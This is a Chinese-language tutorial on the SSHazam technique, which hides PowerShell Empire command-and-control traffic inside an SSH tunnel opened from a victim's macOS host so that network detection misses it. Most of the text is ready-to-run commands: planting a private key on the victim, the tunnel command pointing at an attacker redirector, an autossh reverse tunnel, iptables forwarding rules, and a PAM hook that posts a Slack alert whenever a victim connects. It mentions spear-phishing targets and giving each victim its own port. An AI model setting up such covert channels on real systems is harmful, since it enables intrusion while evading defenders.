一、前言
我們可以使用SSHazam在標準的SSH隧道中運行各種C2工具,避免網絡行為被檢測。在本文中,我們以PowerShell Empire為例,連接至受害主機上的某個localhost端口。本地端口通過SSH連接轉發至遠程Empire服務器,因此環境中只能看到SSH網絡通信流量。受害主機搭載OS X系統,但我們也可以在Windows上使用Plink.exe
(Putty工具集中的一款工具)來使用這種技術。
二、搭建隧道
如上圖所示,受害主機系統上的SSH隧道正在5430
端口上監聽,會將收到的所有數據轉發至Empire服務器(empire-server
)。Empire服務器在localhost的同一端口上(127.0.0.1:5430
)監聽Empire入站連接。為了讓SSH流量更加隱蔽,我們的SSH服務器在443
端口上監聽(而非標準的22
端口)。記得修改SSH配置文件中的監聽端口,此外也要修改與服務商的防火墻規則,放行該端口上的流量。
在建立隧道之前,我們需要在受害主機系統上創建或者復制一個私鑰,并將對應的公鑰添加到Empire服務器上的authorized_keys
文件中,以便成功建立SSH連接。在本文案例中,受害主機上的私鑰文件路徑為~/.ssh/.do.key
。我們可以在命令行中輸入如下命令完成這些操作(這里省略了部分數據,記得補全):
mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key
為了避免其他人訪問私鑰,在Empire服務器上執行其他操作,我們可以適當更改配置。我們可以編輯/etc/passwd
,將登錄shell修改為/bin/false
。
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
現在我們可以開始配置PowerShell Empire或者自己的C2在127.0.0.1:5430
上監聽,即使我們使用了類似域前置(domain fronting)之類的復雜配置,也能使用這種技術。
就這么簡單,我們所有的C2流量已經可以隱藏在加密SSH隧道內部,無需擔心C2流量觸發基于網絡特征的檢測機制。
三、本地化方案
這種技術非常簡單,便于使用,可能在容易觸發警報的場景中順利獲得C2會話。然而我們可能不希望將客戶的敏感數據托管在不屬于我們的云端上。在這種情況下,我們需要創建其他重定向節點,將云端流量重定向到自己網絡中的某個系統。這種操作更為復雜,但無需擔心,解決方案如下所示:
C2連接通過SSH隧道轉發至empire-redirector
,而empire-redirector
上的防火墻規則將流量轉發至另一個中間轉發節點(redirector
)。最后,我們自己的系統(in-house
)將與最終的轉發節點建立一個反向SSH連接,準備接收Empire C2會話。
在受害主機上運行的SSH命令如下所示:
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431
在in-house
這個可靠系統上運行的SSH命令如下所示:
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com
我們首先需要安裝autossh
,這一步非常重要,可以保證隧道能保持長時間運行。
empire-redirector
上的IP Table規則如下:
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1
以上規則可以將5430
到65535
端口上的流量轉發至最終的轉發節點上,因此我們可以在這個范圍內,為每個受害者分配獨立的端口。
redirector
上的IP Table規則如下所示:
sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
以上操作雖然有點復雜,但可以滿足我們的需求,無需將敏感數據存放在云端上。
此外,當SSH建連成功時,我們還想通過slack獲得事件通知。我們可以在empire-redirector
上的/etc/pam.d/sshd
文件中添加如下內容,這樣每當SSH成功建連時,就會運行我們的slack通知腳本。
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session optional pam_exec.so /home/root/ssh-slack-alert.sh
我所使用的slack通知腳本如下所示:
#!/usr/bin/env bash
if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
curl -X POST \
--data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi
注意,在這個較為復雜的場景中,每次只能允許一個受害者連接,除非每個受害者在empire-redirector
上使用的都是不同的端口,并且使用了單獨的私鑰。這一點比較煩人,但在針對性較高的魚叉式釣魚攻擊場景中效果很好。